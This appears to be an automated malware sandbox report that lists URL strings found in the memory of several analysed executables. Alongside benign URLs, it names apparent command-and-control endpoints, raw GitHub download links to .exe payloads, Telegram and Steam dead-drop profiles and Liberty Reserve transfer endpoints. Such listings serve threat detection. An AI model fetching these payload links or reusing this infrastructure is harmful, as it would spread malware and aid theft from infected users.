Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3560594676.0000000003747000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3229589454.000000000584D000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230441582.000000000584B000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230240535.000000000584B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 0000000A.00000002.2818597938.0000000004B41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2850054872.0000000004211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: f4d805b7c6.exe, 0000000F.00000000.2851991410.00000000006C2000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/
Source: f4d805b7c6.exe, 0000000F.00000002.2929459206.0000000002AD1000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 0000000F.00000000.2851991410.00000000006C2000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/accountname.aspx
Source: f4d805b7c6.exe, 0000000F.00000002.2929459206.0000000002AD1000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 0000000F.00000000.2851991410.00000000006C2000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/balance.aspx
Source: f4d805b7c6.exe, 0000000F.00000000.2851991410.00000000006C2000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/history.aspx
Source: f4d805b7c6.exe, 0000000F.00000002.2929459206.0000000002AD1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/history.aspxS
Source: f4d805b7c6.exe, 0000000F.00000002.2929459206.0000000002AD1000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 0000000F.00000000.2851991410.00000000006C2000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://api.libertyreserve.com/beta/xml/transfer.aspx
Source: f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002991000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://archive.torproject.org/tor-package-archive/torbrowser/13.0.9/tor-expert-bundle-windows-i686-
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3579351285.0000000003C98000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3286100513.0000000001005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3579351285.0000000003C98000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3286100513.0000000001005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3560594676.0000000003747000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3229589454.000000000584D000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230441582.000000000584B000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230240535.000000000584B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3568216862.00000000039EF000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3560594676.0000000003747000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3229589454.000000000584D000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230441582.000000000584B000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230240535.000000000584B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3568216862.00000000039EF000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3560594676.0000000003747000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3229589454.000000000584D000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230441582.000000000584B000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230240535.000000000584B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 54ad0685cd.exe, 00000020.00000003.3227309744.0000000000F8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/
Source: 54ad0685cd.exe, 00000020.00000003.3499242574.0000000000FFF000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3536148288.0000000000FFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/1
Source: 54ad0685cd.exe, 00000020.00000003.3201776976.0000000000F72000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3227766231.0000000000F72000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/4
Source: 54ad0685cd.exe, 00000020.00000003.3536148288.0000000000FFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/A
Source: 54ad0685cd.exe, 00000020.00000003.3227309744.0000000000F8D000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3532731103.0000000000F8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/api
Source: 54ad0685cd.exe, 00000020.00000003.3419270172.0000000000F89000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3421395436.0000000000F8B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/apiDefaul
Source: 54ad0685cd.exe, 00000020.00000003.3499242574.0000000000FFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/apiW
Source: 54ad0685cd.exe, 00000020.00000003.3259922291.0000000005810000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/apio
Source: 54ad0685cd.exe, 00000020.00000003.3452321121.0000000000F6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/apipkljjm
Source: 54ad0685cd.exe, 00000020.00000003.3261963417.0000000001005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/apix3O7G
Source: 54ad0685cd.exe, 00000020.00000003.3228287477.0000000000FA8000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3227309744.0000000000F8D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/apiy
Source: 54ad0685cd.exe, 00000020.00000003.3457540677.0000000000FFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click/i
Source: 54ad0685cd.exe, 00000020.00000003.3419270172.0000000000F72000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3532731103.0000000000F8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click:443/api
Source: 54ad0685cd.exe, 00000020.00000003.3532731103.0000000000F8C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cheapptaxysu.click:443/apirom
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3579351285.0000000003C98000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3286100513.0000000001005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3579351285.0000000003C98000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3286100513.0000000001005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: powershell.exe, 0000000D.00000002.2872344764.0000000005275000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000000D.00000002.2872344764.0000000005275000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000000D.00000002.2872344764.0000000005275000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: 3d9e1171bb.exe, 00000025.00000003.3230129495.0000000007E5F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 3d9e1171bb.exe, 00000025.00000003.3230129495.0000000007E5F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 3d9e1171bb.exe, 00000025.00000003.3230129495.0000000007E5F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: ScreenConnect.WindowsClient.exe, 00000021.00000002.3642492246.0000000012B80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3568216862.00000000039EF000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3560594676.0000000003747000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3229589454.000000000584D000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230441582.000000000584B000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230240535.000000000584B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3568216862.00000000039EF000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3560594676.0000000003747000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3229589454.000000000584D000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230441582.000000000584B000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230240535.000000000584B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3568216862.00000000039EF000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3560594676.0000000003747000.00000004.00000020.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3229589454.000000000584D000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230441582.000000000584B000.00000004.00000800.00020000.00000000.sdmp, 54ad0685cd.exe, 00000020.00000003.3230240535.000000000584B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ScreenConnect.WindowsClient.exe, 00000021.00000002.3671971413.000000001B962000.00000002.00000001.01000000.00000021.sdmp	String found in binary or memory: https://feedback.screenconnect.com/Feedback.axd
Source: svchost.exe, 00000010.00000003.2866246896.00000206DE16E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000010.00000003.2866246896.00000206DE110000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: NN9Dd7c.exe, 00000008.00000002.2969253250.0000000002A0E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: powershell.exe, 0000000D.00000002.2850054872.0000000004365000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: skotes.exe, 00000006.00000002.3565466179.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, NN9Dd7c.exe, 00000008.00000000.2777700544.0000000000682000.00000002.00000001.01000000.00000009.sdmp, NN9Dd7c.exe, 00000008.00000002.2969253250.0000000002971000.00000004.00000800.00020000.00000000.sdmp, NN9Dd7c.exe, 00000008.00000002.2969253250.00000000029FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Urijas/moperats/raw/refs/heads/main/biyjdfjadaw.exe
Source: skotes.exe, 00000006.00000002.3565383370.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Urijas/moperats/raw/refs/heads/main/jthjjdweajtujhjad.exe
Source: NN9Dd7c.exe, 00000008.00000002.2969253250.0000000002999000.00000004.00000800.00020000.00000000.sdmp, NN9Dd7c.exe, 00000008.00000000.2777700544.0000000000682000.00000002.00000001.01000000.00000009.sdmp, NN9Dd7c.exe, 00000008.00000002.2969253250.0000000002971000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Urijas/moperats/raw/refs/heads/main/ktyihkdfesf.exe
Source: f4d805b7c6.exe, 00000013.00000002.2968385759.0000000005270000.00000004.08000000.00040000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2955252675.0000000003991000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002991000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2955252675.0000000003A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-net
Source: f4d805b7c6.exe, 00000013.00000002.2968385759.0000000005270000.00000004.08000000.00040000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2955252675.0000000003991000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002991000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2955252675.0000000003A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-netJ
Source: f4d805b7c6.exe, 00000013.00000002.2968385759.0000000005270000.00000004.08000000.00040000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2955252675.0000000003991000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002991000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2955252675.0000000003A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mgravell/protobuf-neti
Source: skotes.exe, 00000006.00000002.3565466179.00000000011EC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com5
Source: 3d9e1171bb.exe, 00000025.00000003.3230129495.0000000007E5F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: 3d9e1171bb.exe, 00000025.00000003.3230129495.0000000007E5F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3542724371.000000000044D000.00000004.00000001.01000000.00000013.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3542724371.000000000047C000.00000004.00000001.01000000.00000013.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3542724371.00000000004DD000.00000004.00000001.01000000.00000013.sdmp	String found in binary or memory: https://hulkpara.xyz
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3542724371.00000000005AC000.00000004.00000001.01000000.00000013.sdmp	String found in binary or memory: https://hulkpara.xyz.exe
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3549126322.000000000082B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hulkpara.xyz/
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3173899972.000000000083C000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3154105885.000000000083B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hulkpara.xyz/&
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3549126322.000000000082B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hulkpara.xyz/)
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3549126322.0000000000811000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hulkpara.xyz/2
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3549126322.000000000082B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hulkpara.xyz/3
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3173899972.000000000083C000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3154105885.000000000083B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hulkpara.xyz/4
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3058274822.0000000000843000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3090328757.000000000083F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hulkpara.xyz/5
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3549126322.000000000082B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hulkpara.xyz/=
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3173899972.000000000083C000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3154105885.000000000083B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hulkpara.xyz/B
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3121390742.000000000083F000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3058274822.0000000000843000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3173899972.000000000083C000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3154105885.000000000083B000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3032818656.000000000083F000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3090328757.000000000083F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hulkpara.xyz/E
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3549126322.000000000082B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hulkpara.xyz/F
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3549126322.00000000008B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hulkpara.xyz/JW4EU
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3121390742.000000000083F000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3058274822.0000000000843000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3173899972.000000000083C000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3154105885.000000000083B000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3090328757.000000000083F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hulkpara.xyz/L
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3549126322.000000000082B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hulkpara.xyz/e
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3153809920.00000000008B1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hulkpara.xyz/fP
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3173899972.000000000083C000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3154105885.000000000083B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hulkpara.xyz/h
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3363807819.00000000008BD000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3352977373.00000000008B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hulkpara.xyz/rsaenh.dllxyz5I
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3549126322.0000000000811000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hulkpara.xyz/rtin
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3121390742.000000000083F000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3090328757.000000000083F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hulkpara.xyz/z
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3121390742.000000000083F000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3058274822.0000000000843000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3173899972.000000000083C000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3154105885.000000000083B000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3032818656.000000000083F000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.3090328757.000000000083F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hulkpara.xyz3
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3542724371.00000000005AC000.00000004.00000001.01000000.00000013.sdmp	String found in binary or memory: https://hulkpara.xyzData
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3542724371.00000000005AC000.00000004.00000001.01000000.00000013.sdmp	String found in binary or memory: https://hulkpara.xyzed
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3542724371.000000000047C000.00000004.00000001.01000000.00000013.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3542724371.00000000004DD000.00000004.00000001.01000000.00000013.sdmp	String found in binary or memory: https://hulkpara.xyzh;
Source: 54ad0685cd.exe, 00000020.00000003.3286100513.0000000001005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: powershell.exe, 0000000A.00000002.2821466785.0000000005BA8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2872344764.0000000005275000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: NN9Dd7c.exe, 00000008.00000002.2969253250.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com
Source: NN9Dd7c.exe, 00000008.00000002.2969253250.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp, NN9Dd7c.exe, 00000008.00000002.2969253250.0000000002A60000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/biyjdfjadaw.exe
Source: NN9Dd7c.exe, 00000008.00000002.2969253250.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.com/Urijas/moperats/refs/heads/main/ktyihkdfesf.exe
Source: NN9Dd7c.exe, 00000008.00000002.2969253250.0000000002AB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://raw.githubusercontent.comD
Source: skotes.exe, 00000006.00000002.3565466179.00000000011FA000.00000004.00000020.00020000.00000000.sdmp, f4d805b7c6.exe, 0000000F.00000002.2929459206.0000000002AD1000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 0000000F.00000000.2851991410.00000000006C2000.00000002.00000001.01000000.0000000D.sdmp	String found in binary or memory: https://sci.libertyreserve.com/
Source: skotes.exe, 00000006.00000002.3565466179.000000000125F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: f4d805b7c6.exe, 00000013.00000002.2968385759.0000000005270000.00000004.08000000.00040000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2955252675.0000000003991000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002991000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2955252675.0000000003A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: f4d805b7c6.exe, 00000013.00000002.2938375851.0000000002991000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2955252675.0000000003A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: f4d805b7c6.exe, 00000013.00000002.2968385759.0000000005270000.00000004.08000000.00040000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2955252675.0000000003991000.00000004.00000800.00020000.00000000.sdmp, f4d805b7c6.exe, 00000013.00000002.2955252675.0000000003A5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3542515698.0000000000423000.00000008.00000001.01000000.00000013.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199809363512
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3542515698.0000000000423000.00000008.00000001.01000000.00000013.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199809363512m0nk3Mozilla/5.0
Source: 54ad0685cd.exe, 00000020.00000003.3285311500.0000000005B1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: 54ad0685cd.exe, 00000020.00000003.3285311500.0000000005B1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: rundll32.exe, 0000001C.00000002.3056860320.0000000004631000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t.mLR
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3549126322.00000000007CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3549126322.00000000007CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://t.me/%7
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3549126322.0000000000811000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000000.2952486922.0000000000423000.00000008.00000001.01000000.00000013.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.2976731412.0000000000838000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3549126322.00000000007CE000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000003.2976970879.0000000000845000.00000004.00000020.00020000.00000000.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3542515698.0000000000423000.00000008.00000001.01000000.00000013.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3542724371.000000000044D000.00000004.00000001.01000000.00000013.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3542724371.0000000000424000.00000004.00000001.01000000.00000013.sdmp	String found in binary or memory: https://t.me/k04ael
Source: 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3542515698.0000000000423000.00000008.00000001.01000000.00000013.sdmp, 20eec459fe6c4c019b42190414a26a1f.exe, 00000014.00000002.3542724371.0000000000424000.00000004.00000001.01000000.00000013.sdmp	String found in binary or memory: https://t.me/k04aelm0nk3Mozilla/5.0
